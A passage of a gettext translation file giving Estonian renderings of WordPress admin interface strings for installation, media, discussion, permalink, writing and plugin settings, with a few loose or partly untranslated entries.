msgstr "Sinu e-post"

#: wp-admin/install.php:143
msgid "Double-check your email address before continuing."
msgstr "Kontrolli see e-postiaadress enne jätkamist veel kord üle."

#: wp-admin/install.php:150
msgid "Install WordPress"
msgstr "Paigalda WordPress"

#: wp-admin/install.php:176
msgid "Insufficient Requirements"
msgstr "Nõuded pole täidetud"

#: wp-admin/install.php:218
msgid "Information needed"
msgstr "Vajan infot"

#: wp-admin/install.php:219
msgid "Please provide the following information. Don&#8217;t worry, you can always change these settings later."
msgstr "Enne alustamist on meil vaja veidi infot. Ära muretse, seda saab hiljem alati muuta."

#: wp-admin/install.php:272
msgid "Success!"
msgstr "Korras!"

#: wp-admin/install.php:274
msgid "WordPress has been installed. Were you expecting more steps? Sorry to disappoint."
msgstr "WordPress on paigaldatud. Ootasid veel midagi? Kahjuks pead pettuma, kõik on valmis. :)"

#: wp-admin/link-add.php:15
msgid "Add New Link"
msgstr "Lisa viide"

#. translators: add new links
#: wp-admin/edit-link-form.php:73 wp-admin/link-manager.php:72
#: wp-admin/menu.php:78
msgctxt "link"
msgid "Add New"
msgstr "Lisa uus"

#: wp-admin/link-manager.php:81
msgid "%s link deleted."
msgid_plural "%s links deleted"
msgstr[0] "%s viide kustutati."
msgstr[1] "%s viidet kustutati."

#: wp-admin/link-manager.php:89
msgid "Search Links"
msgstr "Otsi viidetest"

#: wp-admin/includes/class-wp-links-list-table.php:161
msgid "Visit %s"
msgstr "Külasta %s"

#: wp-admin/includes/class-wp-links-list-table.php:53
msgid "No links found."
msgstr "Viiteid ei leitud."

#: wp-admin/link-parse-opml.php:78
msgid "XML error: %1$s at line %2$s"
msgstr "XML viga: %1$s  real %2$s"

#: wp-admin/link.php:109
msgid "Link not found."
msgstr "Viidet ei leitud."

#: wp-admin/maint/repair.php:19
msgid "WordPress &rsaquo; Database Repair"
msgstr "WordPress &rsaquo; Andmebaasi parandus"

#: wp-admin/maint/repair.php:103
msgid "Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href=\"%s\">WordPress support forums</a> to get additional assistance."
msgstr "Mõnda andmebaasiprobleemi ei õnnestunud lahendada. Palun kopeeri järgnev vigade loetelu  <a href=\"%s\">WordPressi tugifoorumisse</a>, et saada edasist abi."

#: wp-admin/maint/repair.php:117
msgid "Repair Database"
msgstr "Paranda andmebaasi"

#: wp-admin/maint/repair.php:119
msgid "Repair and Optimize Database"
msgstr "Paranda ja optimeeri andmebaas"

#: wp-admin/media-new.php:40
msgid "Upload New Media"
msgstr "Lae uus meediafail üles"

#: wp-admin/media.php:23 wp-admin/media.php:57
msgid "You are not allowed to edit this attachment."
msgstr "Sul pole õigusi seda manust muuta."

#: wp-admin/media.php:61
msgid "You attempted to edit an attachment that doesn&#8217;t exist. Perhaps it was deleted?"
msgstr "Üritasid muuta olematut manust. Ehk on see kustutatud?"

#: wp-admin/media.php:63
msgid "You can&#8217;t edit this attachment because it is in the Trash. Please move it out of the Trash and try again."
msgstr "Seda manust ei saa muuta, kuna see asub prügikastis. See tuleb enne sealt välja tõsta."

#: wp-admin/edit-form-advanced.php:93 wp-admin/media.php:95
#: wp-admin/upload.php:240 wp-admin/upload.php:265
msgid "Media attachment updated."
msgstr "Meediamanust uuendati."

#: wp-admin/media.php:116 wp-admin/media.php:125
msgid "Update Media"
msgstr "Uuenda meediafaili"

#: wp-admin/menu.php:64
msgid "Library"
msgstr "Meediateek"

#. translators: add new file
#: wp-admin/media.php:110 wp-admin/menu.php:66 wp-admin/upload.php:65
#: wp-admin/upload.php:231
msgctxt "file"
msgid "Add New"
msgstr "Lisa uus"

#: wp-admin/menu.php:96
msgid "Comments %s"
msgstr "Kommentaarid %s"

#: wp-admin/menu.php:150
msgid "Appearance"
msgstr "Välimus"

#. translators: add new plugin
#: wp-admin/menu.php:183 wp-admin/plugins.php:416
msgctxt "plugin"
msgid "Add New"
msgstr "Lisa uus"

#: wp-admin/menu.php:192 wp-admin/user/menu.php:14 wp-admin/user-edit.php:28
msgid "Profile"
msgstr "Profiil"

#: wp-admin/menu.php:202 wp-admin/menu.php:205
msgid "Your Profile"
msgstr "Sinu profiil"

#: wp-admin/menu.php:212 wp-admin/tools.php:12
msgid "Tools"
msgstr "Töövahendid"

#: wp-admin/menu.php:222
msgctxt "settings screen"
msgid "General"
msgstr "Üldine"

#: wp-admin/menu.php:223
msgid "Writing"
msgstr "Kirjutamine"

#: wp-admin/menu.php:224
msgid "Reading"
msgstr "Lugemine"

#: wp-admin/install.php:146
msgid "Privacy"
msgstr "Privaatsus"

#: wp-admin/menu.php:227
msgid "Permalinks"
msgstr "Püsiviited"

#: wp-admin/ms-delete-site.php:13 wp-admin/my-sites.php:13
msgid "Multisite support is not enabled."
msgstr "Mitme saidi tugi ei ole sisse lülitatud."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:159
msgid "Domain"
msgstr "domeen"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:163
msgid "Last Updated"
msgstr "Viimati uuendatud"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:196
msgid "Archived"
msgstr "Arhiveeritud"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:199
msgid "Mature"
msgstr "Valmis"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:198
msgid "Deleted"
msgstr "Kustutatud"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:289
msgid "Unarchive"
msgstr "Arhiivist välja"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:302
#: wp-admin/my-sites.php:129
msgid "Visit"
msgstr "Külasta %s"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:328
msgid "Never"
msgstr "Mitte kunagi"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:349
msgid "Only showing first 5 users."
msgstr "Näitan viite esimest kasutajat."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:349
msgid "More"
msgstr "(veel...)"

#: wp-admin/update-core.php:303 wp-admin/update-core.php:330
#: wp-admin/update-core.php:607 wp-admin/update-core.php:612
msgid "Update Themes"
msgstr "Uuenda teemasid"

#: wp-admin/includes/class-wp-ms-users-list-table.php:86
msgid "No users found."
msgstr "Kasutajaid pole."

#: wp-admin/edit-form-advanced.php:366 wp-admin/options-discussion.php:14
msgid "Discussion Settings"
msgstr "Aruteluseaded"

#: wp-admin/options-discussion.php:41 wp-admin/options-discussion.php:42
msgid "Default article settings"
msgstr "Vaikimisi postitusseaded"

#: wp-admin/options-discussion.php:55
msgid "These settings may be overridden for individual articles."
msgstr "Neid seadeid saab iga artikli juures täiendavalt muuta."

#: wp-admin/options-discussion.php:59 wp-admin/options-discussion.php:60
msgid "Other comment settings"
msgstr "Muud kommentaariseaded"

#: wp-admin/options-discussion.php:61
msgid "Comment author must fill out name and e-mail"
msgstr "peab kommenteerija täitma nime ja e-posti väljad"

#: wp-admin/options-discussion.php:65
msgid "Users must be registered and logged in to comment"
msgstr "Kasutajad peavad kommenteerimiseks registreeruma ja sisse logima"

#: wp-admin/options-discussion.php:72
msgid "Automatically close comments on articles older than %s days"
msgstr "Lülita üle  %s päeva vanustel postitustel kommenteerimine välja"

#: wp-admin/options-discussion.php:95
msgid "Enable threaded (nested) comments %s levels deep"
msgstr "Luba lõimedega (astmelisi) kommentaare sügavusega %s taset"

#: wp-admin/options-discussion.php:105
msgid "last"
msgstr "viimased"

#: wp-admin/options-discussion.php:107
msgid "first"
msgstr "esimesed"

#: wp-admin/options-discussion.php:109
msgid "Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default"
msgstr "Jaga kommentaarid lehekülgedeks - ühel lehel %1$s kommentaari ja vaikimisi näidatakse  %2$s. lehte"

#: wp-admin/options-discussion.php:117
msgid "older"
msgstr "vanemaid"

#: wp-admin/options-discussion.php:119
msgid "newer"
msgstr "uuemaid"

#: wp-admin/options-discussion.php:121
msgid "Comments should be displayed with the %s comments at the top of each page"
msgstr "Iga lehe alguses peaks kuvatama %s kommentaare"

#: wp-admin/options-discussion.php:127 wp-admin/options-discussion.php:128
msgid "E-mail me whenever"
msgstr "Saada mulle e-kiri, kui"

#: wp-admin/options-discussion.php:131
msgid "Anyone posts a comment"
msgstr "keegi lisab kommentaari"

#: wp-admin/options-discussion.php:135
msgid "A comment is held for moderation"
msgstr "kommentaar saadeti modereerimisele"

#: wp-admin/options-discussion.php:139 wp-admin/options-discussion.php:140
msgid "Before a comment appears"
msgstr "Enne kommentaari ilmumist"

#: wp-admin/options-discussion.php:145
msgid "Comment author must have a previously approved comment"
msgstr "peab kommenteerijal olema eelnevalt heakskiidetud kommentaare"

#: wp-admin/options-discussion.php:149 wp-admin/options-discussion.php:150
msgid "Comment Moderation"
msgstr "Kommentaaride modereerimine"

#: wp-admin/options-discussion.php:151
msgid "Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)"
msgstr "Saada kommentaar modereerimisele, kui see sisaldab %s või rohkem veebiviidet (suur hulk viiteid on spämmkommentaaride levinud omadus.)"

#: wp-admin/options-discussion.php:153
msgid "When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be held in the <a href=\"edit-comments.php?comment_status=moderated\">moderation queue</a>. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;."
msgstr "Kommentaar saadetakse <a href=\"edit-comments.php?comment_status=moderated\">modereerimisele</a>, kui ta sisaldab alljärgnevaid sõnu kas sisus, pealkirjas, URL-is, e-postiaadressis või IP-s. Kirjuta iga sõna või IP eraldi reale. Arvestatakse ka sõnaosi, näiteks &#8220;press&#8221; klapib  &#8220;WordPressiga&#8221;."

#: wp-admin/options-discussion.php:160 wp-admin/options-discussion.php:161
msgid "Comment Blacklist"
msgstr "Kommentaaride must nimekiri"

#: wp-admin/options-discussion.php:162
msgid "When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be marked as spam. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;."
msgstr "Kommentaar märgitakse spämmiks, kui ta sisaldab alljärgnevaid sõnu kas sisus, pealkirjas, URL-is, e-postiaadressis või IP-s. Kirjuta iga sõna või IP eraldi reale. Arvestatakse ka sõnaosi, näiteks &#8220;press&#8221; klapib  &#8220;WordPressiga&#8221;."

#: wp-admin/options-discussion.php:171
msgid "Avatars"
msgstr "Avatarid"

#: wp-admin/options-discussion.php:179 wp-admin/options-discussion.php:180
msgid "Avatar Display"
msgstr "Näita avatari"

#: wp-admin/options-discussion.php:183
msgid "Show Avatars"
msgstr "Näita avatare"

#: wp-admin/options-discussion.php:188 wp-admin/options-discussion.php:189
msgid "Maximum Rating"
msgstr "Hinnang"

#. translators: Content suitability rating: http:bit.ly/89QxZA
#: wp-admin/options-discussion.php:194
msgid "G &#8212; Suitable for all audiences"
msgstr "G &#8212; Sobilik kõigile lugejatele"

#. translators: Content suitability rating: http:bit.ly/89QxZA
#: wp-admin/options-discussion.php:196
msgid "PG &#8212; Possibly offensive, usually for audiences 13 and above"
msgstr "PG &#8212; Võib tekitada vastuseisu, sobib üle 13-aastasele lugejaskonnale"

#. translators: Content suitability rating: http:bit.ly/89QxZA
#: wp-admin/options-discussion.php:198
msgid "R &#8212; Intended for adult audiences above 17"
msgstr "R &#8212; Üksnes täiskasvanud lugejaskonnale"

#. translators: Content suitability rating: http:bit.ly/89QxZA
#: wp-admin/options-discussion.php:200
msgid "X &#8212; Even more mature than above"
msgstr "X &#8212;  Veelgi täiskasvanum kui eelmine"

#: wp-admin/options-discussion.php:211 wp-admin/options-discussion.php:212
msgid "Default Avatar"
msgstr "Vaikimisi avatar"

#: wp-admin/options-discussion.php:214
msgid "For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their e-mail address."
msgstr "Ilma avatarita kasutajate puhul võib näidata kas üldist logo või luua avatar e-postiaadressi põhjal."

#: wp-admin/options-discussion.php:218
msgid "Mystery Man"
msgstr "Mystery Man"

#: wp-admin/options-discussion.php:219
msgid "Blank"
msgstr "Tühi"

#: wp-admin/options-discussion.php:220
msgid "Gravatar Logo"
msgstr "Gravatar"

#: wp-admin/options-discussion.php:221
msgid "Identicon (Generated)"
msgstr "Identicon (genereeritud)"

#: wp-admin/options-discussion.php:222
msgid "Wavatar (Generated)"
msgstr "Wavatar (genereeritud)"

#: wp-admin/options-discussion.php:223
msgid "MonsterID (Generated)"
msgstr "MonsterID (genereeritud)"

#: wp-admin/options-general.php:15
msgid "General Settings"
msgstr "Üldseaded"

#. translators: date and time format for exact current time, mainly about
#. timezones, see http:php.net/date
#: wp-admin/options-general.php:18
msgctxt "timezone date format"
msgid "Y-m-d G:i:s"
msgstr "d.m.Y  h:i:s"

#: wp-admin/options-general.php:115
msgid "This address is used for admin purposes, like new user notification."
msgstr "Seda aadressi kasutataksse ajaveebi halduses, näiteks uutest kasutajatest teavitamisel."

#: wp-admin/options-general.php:118 wp-admin/options-general.php:119
msgid "Membership"
msgstr "Liikmelisus"

#: wp-admin/options-general.php:121
msgid "Anyone can register"
msgstr "Igaüks võib registreeruda"

#: wp-admin/options-general.php:125
msgid "New User Default Role"
msgstr "Uue kasutaja vaikimisi roll:"

#: wp-admin/options-general.php:167
msgid "Timezone"
msgstr "Ajavöönd"

#: wp-admin/options-general.php:174
msgid "<abbr title=\"Coordinated Universal Time\">UTC</abbr> time is <code>%s</code>"
msgstr "<abbr title=\"Coordinated Universal Time, Greenwichi aeg\">UTC</abbr> aeg on <code>%s</code>"

#: wp-admin/options-general.php:176
msgid "Local time is <code>%1$s</code>"
msgstr "Kohalik aeg on <code>%1$s</code>"

#: wp-admin/options-general.php:178
msgid "Choose a city in the same timezone as you."
msgstr "Vali endaga samas ajavööndis asuv linn."

#: wp-admin/options-general.php:189
msgid "This timezone is currently in standard time."
msgstr "Selles ajavööndis kehtib hetkel talveaeg."

#: wp-admin/options-general.php:254 wp-admin/options-general.php:286
msgid "Custom:"
msgstr "Kasutaja valik:"

#: wp-admin/options-general.php:294
msgid "Week Starts On"
msgstr "Nädal algab"

#: wp-admin/options-media.php:15
msgid "Media Settings"
msgstr "Meediaseaded"

#: wp-admin/options-media.php:48
msgid "Image sizes"
msgstr "Pildi mõõtmed"

#: wp-admin/options-media.php:53
msgid "Thumbnail size"
msgstr "Pisipildi mõõtmed"

#: wp-admin/options-media.php:60
msgid "Crop thumbnail to exact dimensions (normally thumbnails are proportional)"
msgstr "Lõika pildist sobiv tükk (harilikult vähendatakse kogu pilti)"

#: wp-admin/options-media.php:65 wp-admin/options-media.php:66
msgid "Medium size"
msgstr "Keskmine"

#: wp-admin/options-media.php:67 wp-admin/options-media.php:77
msgid "Max Width"
msgstr "Maks. laius"

#: wp-admin/options-media.php:69 wp-admin/options-media.php:79
msgid "Max Height"
msgstr "Maks. kõrgus"

#: wp-admin/options-media.php:75 wp-admin/options-media.php:76
msgid "Large size"
msgstr "Suur"

#: wp-admin/options-media.php:88
msgid "Embeds"
msgstr "Lisad"

#: wp-admin/options-media.php:95
msgid "Uploading Files"
msgstr "Laen faile üles"

#: wp-admin/options-media.php:102
msgid "Store uploads in this folder"
msgstr "Salvesta üleslaetud failid sellesse kataloogi"

#: wp-admin/options-media.php:104
msgid "Default is <code>wp-content/uploads</code>"
msgstr "Vaikimisi on kasutusel <code>wp-content/uploads</code>"

#: wp-admin/options-media.php:109
msgid "Full URL path to files"
msgstr "Failide täielik kataloogitee"

#: wp-admin/options-media.php:111
msgid "Configuring this is optional. By default, it should be blank."
msgstr "Selle häälestamine pole nõutav, vaikimisi jäetakse see tühjaks"

#: wp-admin/options-media.php:119
msgid "Organize my uploads into month- and year-based folders"
msgstr "Jaota mu üleslaetud failid kuude ja aastate järgi kataloogidesse"

#: wp-admin/options-permalink.php:15
msgid "Permalink Settings"
msgstr "Püsiviidete seaded"

#: wp-admin/options-permalink.php:159
msgid "Permalink structure updated. Remove write access on web.config file now!"
msgstr "Püsiviidete struktuuri uuendati. Lülita faili web.config kirjutusõigused välja!"

#: wp-admin/options-permalink.php:166
msgid "You should update your .htaccess now."
msgstr "Peaksid nüüd uuendama enda .htaccess-faili."

#: wp-admin/options-permalink.php:161 wp-admin/options-permalink.php:163
#: wp-admin/options-permalink.php:168 wp-admin/options-permalink.php:172
msgid "Permalink structure updated."
msgstr "Püsiviidete struktuuri uuendati."

#: wp-admin/options-permalink.php:208
msgid "Day and name"
msgstr "Päev ja nimi"

#: wp-admin/options-permalink.php:212
msgid "Month and name"
msgstr "Kuu ja nimi"

#: wp-admin/options-permalink.php:216
msgid "Numeric"
msgstr "Numbrilised"

#: wp-admin/options-permalink.php:226
msgid "Custom Structure"
msgstr "Kohandatud struktuur"

#: wp-admin/options-permalink.php:236
msgid "Optional"
msgstr "Variandid"

#. translators: prefix for category permalinks
#: wp-admin/options-permalink.php:248
msgid "Category base"
msgstr "Rubriigi alus"

#: wp-admin/options-permalink.php:252
msgid "Tag base"
msgstr "Sildikogu"

#: wp-admin/options-permalink.php:266
msgid "If your <code>web.config</code> file were <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this rule inside of the <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> element in <code>web.config</code> file."
msgstr "Kui su <code>web.config</code>-fail oleks <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">kirjutatav</a>, saaksime seda teha automaatselt. Kuna aga ei ole, siis peaksid enda <code>web.config</code>-faili lisama alltoodud reeglid. Klõpsa väljale ja vajuta teksti valimiseks <kbd>CTRL-a</kbd>.  Seejärel lisa see <code>web.config</code>-failis asuvasse  Then insert this rule inside of the <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> -blokki."

#: wp-admin/options-permalink.php:271
msgid "If you temporarily make your <code>web.config</code> file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved."
msgstr "Kui muudad faili <code>web.config</code> reeglite genereerimiseks ajutiselt kirjutatavaks, ära unusta pärast seda tagasi sättimast! "

#: wp-admin/options-permalink.php:273
msgid "If the root directory of your site were <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Create a new file, called <code>web.config</code> in the root directory of your site. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this code into the <code>web.config</code> file."
msgstr "Kui su veebilehe juurkataloog oleks <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">kirjutatav</a>, saaksime seda teha automaatselt. Kuna aga ei ole, siis peaksid enda <code>web.config</code>-faili lisama alltoodud reegli. Loo oma veebilehe juurkataloogi uus fail nimega <code>web.config</code>. Klõpsa väljale ja vajuta teksti valimiseks <kbd>CTRL-a</kbd>.  Seejärel lisa see <code>web.config</code>-faili."

#: wp-admin/options-permalink.php:278
msgid "If you temporarily make your site&#8217;s root directory writable for us to generate the <code>web.config</code> file automatically, do not forget to revert the permissions after the file has been created."
msgstr "Kui muudad oma veebilehe juurkataloogi  <code>web.config</code> -faili genereerimiseks ajutiselt kirjutatavaks, ära unusta pärast seda tagasi sättimast! "

#: wp-admin/options-permalink.php:283
msgid "If your <code>.htaccess</code> file were <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your <code>.htaccess</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all."
msgstr "Kui su <code>.htaccess</code>-fail oleks <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">kirjutatav</a>, saaksime seda teha automaatselt. Kuna aga ei ole, siis peaksid oma <code>.htaccess</code>-i lisama järgmised mod_rewrite'i reeglid.  Klõpsa väljale ning kõigi väljavalimiseks vajuta <kbd>Ctrl-a</kbd>."

#: wp-admin/options-reading.php:15
msgid "Reading Settings"
msgstr "Lugemisseaded"

#: wp-admin/options-reading.php:112
msgid "A <a href=\"%s\">static page</a> (select below)"
msgstr "<a href=\"%s\">staatilist lehte</a> (vali allpool)"

#: wp-admin/options-reading.php:116
msgid "Front page: %s"
msgstr "Esileht: %s"

#: wp-admin/options-reading.php:117
msgid "Posts page: %s"
msgstr "Postitusteleht: %s"

#: wp-admin/options-reading.php:120
msgid "<strong>Warning:</strong> these pages should not be the same!"
msgstr "<strong>Hoiatus:</strong> need lehed peaksid olema erinevad!"

#: wp-admin/options-reading.php:126
msgid "Blog pages show at most"
msgstr "Näita maksimaalselt "

#: wp-admin/options-reading.php:128
msgid "posts"
msgstr "postitust"

#: wp-admin/options-reading.php:132
msgid "Syndication feeds show the most recent"
msgstr "Uudisevoog näitab viimastest postitustest"

#: wp-admin/options-reading.php:136 wp-admin/options-reading.php:137
msgid "For each article in a feed, show"
msgstr "Näita iga artikli kohta "

#: wp-admin/options-reading.php:138
msgid "Full text"
msgstr "täisteksti"

#: wp-admin/options-reading.php:139
msgid "Summary"
msgstr "kokkuvõtet"

#: wp-admin/options-reading.php:86
msgid "Encoding for pages and feeds"
msgstr "Lehtede ja voogude kodeering:"

#: wp-admin/options-writing.php:15
msgid "Writing Settings"
msgstr "Kirjutusseaded"

#: wp-admin/options-writing.php:66 wp-admin/options-writing.php:67
msgid "Formatting"
msgstr "Vormindus"

#: wp-admin/options-writing.php:70
msgid "Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display"
msgstr "Teisenda emootikonid nagu <code>:)</code> ja <code>:-P</code> graafilisteks ikoonideks"

#: wp-admin/options-writing.php:71
msgid "WordPress should correct invalidly nested XHTML automatically"
msgstr "WordPress peaks parandama ebakorrektsed XHTML-skoobid automaatselt"

#: wp-admin/options-writing.php:75
msgid "Default Post Category"
msgstr "Vaikimisi postitusterubriik"

#: wp-admin/options-writing.php:101
msgid "Default Link Category"
msgstr "Vaikimisi viideterubriik"

#: wp-admin/credits.php:189
msgid "XML-RPC"
msgstr "XML-RPC"

#: wp-admin/options-writing.php:130
msgid "Post via e-mail"
msgstr "Postita e-posti kaudu"

#: wp-admin/options-writing.php:131
msgid "To post to WordPress by e-mail you must set up a secret e-mail account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>."
msgstr "E-posti kaudu WordPressi postitamiseks tuleb seada üles salajane POP3 e-postikonto. Kõik sinna saadetud kirjad lähevad postitusteks, seega on mõistlik hoida seda hästi salajas. Näiteks kolm juhuslikku nime, mida võiksid kasutada: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>."

#: wp-admin/options-writing.php:135
msgid "Mail Server"
msgstr "E-postiserver"

#: wp-admin/options-writing.php:137
msgid "Port"
msgstr "Port"

#: wp-admin/options-writing.php:142
msgid "Login Name"
msgstr "Kasutajanimi"

#: wp-admin/options-writing.php:152
msgid "Default Mail Category"
msgstr "Vaikimisi e-postirubriik"

#: wp-admin/options-writing.php:44 wp-admin/options-writing.php:173
msgid "Update Services"
msgstr "Uuendusteenused"

#: wp-admin/options-writing.php:177
msgid "When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> on the Codex. Separate multiple service <abbr title=\"Universal Resource Locator\">URL</abbr>s with line breaks."
msgstr "Uue postituse tegemisel teavitab WordPress sellest automaatselt järgmisi uuendusteenuseid. Täpsemalt loe Koodeksist teema <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> alt. Erinevate teenuste <abbr title=\"Universal Resource Locator\">URL</abbr>-id eralda reavahetustega."

#: wp-admin/options.php:212
msgid "All Settings"
msgstr "Kõik seaded"

#: wp-admin/plugin-editor.php:20
msgid "Edit Plugins"
msgstr "Muuda pluginaid"

#: wp-admin/plugin-editor.php:115
msgid "No such file exists! Double check the name and try again."
msgstr "Ups, sellist faili pole! Kontrolli nime ja proovi uuesti."

#: wp-admin/plugin-editor.php:122
msgid "Files of this type are not editable."
msgstr "Seda tüüpi faile ei saa muuta."

#: wp-admin/plugin-editor.php:167 wp-admin/theme-editor.php:125
msgid "File edited successfully."
msgstr "Faili muudeti edukalt."

#: wp-admin/plugin-editor.php:169
msgid "This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>."
msgstr "See plugin lülitati välja, kuna muutmistel tekkis <strong>tõsine viga</strong>."

#: wp-admin/plugin-editor.php:184
msgid "Editing <strong>%s</strong> (active)"
msgstr "Muudan pluginat <strong>%s</strong> (sisselülitatud)"

#: wp-admin/plugin-editor.php:186
msgid "Browsing <strong>%s</strong> (active)"
msgstr "Sirvin pluginat <strong>%s</strong> (sisselülitatud)"

#: wp-admin/plugin-editor.php:189
msgid "Editing <strong>%s</strong> (inactive)"
msgstr "Muudan pluginat <strong>%s</strong> (väljalülitatud)"

#: wp-admin/plugin-editor.php:191
msgid "Browsing <strong>%s</strong> (inactive)"
msgstr "Sirvin pluginat <strong>%s</strong> (väljalülitatud)"

#: wp-admin/plugin-editor.php:197
msgid "Select plugin to edit:"
msgstr "Vali muudetav plugin:"

#: wp-admin/plugin-editor.php:219
msgid "Plugin Files"
msgstr "Pluginafailid"

#: wp-admin/plugin-editor.php:248 wp-admin/theme-editor.php:207
msgid "Documentation:"
msgstr "Dokumentatsioon:"

#: wp-admin/plugin-editor.php:258
msgid "Update File and Attempt to Reactivate"
msgstr "Uuenda faili ja ürita uuesti sisse lülitada"

#: wp-admin/plugin-editor.php:260 wp-admin/theme-editor.php:220
msgid "Update File"
msgstr "Uuenda faili"

#: wp-admin/plugin-editor.php:265 wp-admin/theme-editor.php:222
msgid "You need to make this file writable before you can save your changes. See <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">the Codex</a> for more information."
msgstr "Salvestamiseks peavad sul olema selle faili kirjutusõigused. Loe täpsemalt <a href=\"http://codex.wordpress.org/Changing_File_Permissions\" title=\"Loe täpsemalt failiõigustest\">Koodeksist</a>."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:65
msgctxt "Plugin Installer"
msgid "Featured"
msgstr "Erilised"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:66
msgctxt "Plugin Installer"
msgid "Popular"
msgstr "Enimkülastatud"

#: wp-admin/plugins.php:292
msgid "Are you sure you wish to delete these files?"
msgstr "Oled kindel, et tahad ned failid kustutada?"

#: wp-admin/plugins.php:302
msgid "Yes, Delete these files"
msgstr "Jah, kustuta need failid"

#: wp-admin/plugins.php:305
msgid "No, Return me to the plugin list"
msgstr "Ei, vii mind tagasi pluginatenimekirja"

#: wp-admin/plugins.php:346
msgid "Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here."
msgstr "Pluginad laiendavad ja avardavad WordPressi funktsioone. Peale plugina paigaldamist saad seda siit sisse-välja lülitada."

#: wp-admin/plugins.php:354
msgid "If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the <code>%s</code> directory and it will be automatically deactivated."
msgstr "Kui mõne pluginaga läheb asi nii valesti, et WordPressi ei saa kasutada, kustuta või nimeta see fail <code>%s</code> kataloogis ümber ning see plugin lülitatakse automaatselt välja."

#: wp-admin/plugins.php:371
msgid "The plugin <code>%s</code> has been <strong>deactivated</strong> due to an error: %s"
msgstr "Plugin <code>%s</code> <strong>lülitati välja</strong> vea tõttu: %s"

#: wp-admin/plugins.php:381
msgid "Plugin could not be activated because it triggered a <strong>fatal error</strong>."
msgstr "Pluginat ei saa sisse lülitada, kuna see tekitas <strong>tõsise vea</strong>."

#: wp-admin/plugins.php:397
msgid "Plugin could not be deleted due to an error: %s"
msgstr "Plugina kustutamisel tekkis viga: %s"

#: wp-admin/plugins.php:399
msgid "The selected plugins have been <strong>deleted</strong>."
msgstr "Valitud pluginad <strong>kustutati</strong>."

#: wp-admin/plugins.php:402
msgid "Plugin <strong>activated</strong>."
msgstr "Plugin <strong>sisse lülitatud</strong>."

#: wp-admin/plugins.php:404
msgid "Selected plugins <strong>activated</strong>."
msgstr "Valitud pluginad <strong>lülitati sisse</strong>."

#: wp-admin/plugins.php:406
msgid "Plugin <strong>deactivated</strong>."
msgstr "Plugin <strong>välja lülitatud</strong>."

#: wp-admin/plugins.php:408
msgid "Selected plugins <strong>deactivated</strong>."
msgstr "Valitud pluginad <strong>välja lülitatud</strong>."

#: wp-admin/plugins.php:410
msgid "No out of date plugins were selected."
msgstr "Ühtki aegunud pluginat ei valitud."

#: wp-admin/includes/class-wp-plugins-list-table.php:399
#: wp-admin/includes/class-wp-plugins-list-table.php:408
msgid "Deactivate this plugin"
msgstr "Lülita see plugin välja"

#: wp-admin/includes/class-wp-plugins-list-table.php:299
#: wp-admin/includes/class-wp-plugins-list-table.php:399
msgid "Network Deactivate"
msgstr "Lülita välja kogu võrgustikus"

#: wp-admin/includes/class-wp-plugins-list-table.php:402
#: wp-admin/includes/class-wp-upgrader-skins.php:433
msgid "Activate this plugin for all sites in this network"
msgstr "Lülita see plugin sisse kõigil selle võrgustiku lehtedel"

#: wp-admin/includes/class-wp-plugins-list-table.php:296
#: wp-admin/includes/class-wp-plugins-list-table.php:402
#: wp-admin/includes/class-wp-upgrader-skins.php:433
msgid "Network Activate"
msgstr "Lülita sisse kogu võrgustikus"

#: wp-admin/includes/class-wp-plugins-list-table.php:419
msgid "Open this file in the Plugin Editor"
msgstr "Ava see fail pluginaredaktoris"

#: wp-admin/includes/class-wp-plugins-list-table.php:404
#: wp-admin/includes/class-wp-plugins-list-table.php:413
msgid "Delete this plugin"
msgstr "Kustuta see plugin"

#: wp-admin/includes/class-wp-plugins-list-table.php:534
msgid "Visit plugin site"
msgstr "Plugina koduleht"

